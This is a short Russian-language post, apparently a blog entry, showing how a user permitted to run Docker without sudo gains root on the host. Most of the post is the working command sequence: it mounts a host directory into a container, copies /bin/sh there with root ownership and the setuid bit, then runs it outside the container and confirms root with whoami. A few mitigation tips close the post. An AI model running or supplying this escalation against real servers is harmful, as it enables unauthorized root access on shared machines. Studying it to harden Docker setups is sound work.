Получаем рутовый шелл через докер
На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.
И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.
Пулим образ:
$ docker pull monsantoco/min-jessie
Using default tag: latest
latest: Pulling from monsantoco/min-jessie
a3ed95caeb02: Pull complete
d9f5175a7629: Pull complete
Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96
Status: Downloaded newer image for monsantoco/min-jessie:latest
И пускаем:
$ mkdir /var/tmp/sh
$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'$ ls /var/tmp/sh/ -l
итого 124
-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh
$ /var/tmp/sh/sh
# whoami
root
#
Вот так мы получили суидный шелл за пределами контейнера.
Как решить?
* Запереть юзера в хомяке с noexec,nosuid
* Все tmp каталоги монтировать в память и с noexec,nosuid
* Настроить selinux
ЗЫ:
$ docker --version
Docker version 1.10.3, build 20f81dd
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial